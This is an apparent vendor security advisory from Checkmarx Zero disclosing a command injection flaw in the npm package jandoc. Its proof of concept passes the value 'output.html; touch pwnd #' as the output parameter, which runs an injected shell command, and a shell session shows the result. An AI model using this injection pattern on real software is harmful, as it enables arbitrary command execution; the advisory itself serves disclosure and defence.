Disclosed vulnerabilities
No CVE assigned Published: Apr 28, 2021

Command Injection in jandoc

9.8 Critical Severity javascript nodejs npm RCE
André Sá Reported by Checkmarx Zero

Summary

A Command Injection vulnerability was discovered in jandoc.

Product

All versions of jandoc published on NPM.

Impact

It’s possible to inject malicious shell code, provided that the library is
called with untrusted input being passed on to the input or output
parameters.

Steps to reproduce

Save this code in a file, e.g. poc.js:

require('jandoc')({
    'input': "input.md",
    'output': "output.html; touch pwnd #"
});

A Markdown file is needed to run the PoC, e.g. the following text saved with
the filename input.md:

# hello

pwnd

Now, simply run poc.js and see the results:

$ rm -f output.html pwnd
$ ls -1
input.md
node_modules
package-lock.json
package.json
poc.js
$ node poc.js
$ ls -1
input.md
node_modules
output.html
package-lock.json
package.json
poc.js
pwnd

Remediation

The repository has a single last commit before being archived that fixes the
vulnerability — both parameters are checked with a strict regex
here.
However, it has been deprecated and pulled down from
NPM, so there are no fixed versions
released.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher
André Sá.

Resources

  1. Vulnerable code
  2. (051a5b0)

Stay connected and never miss a research update!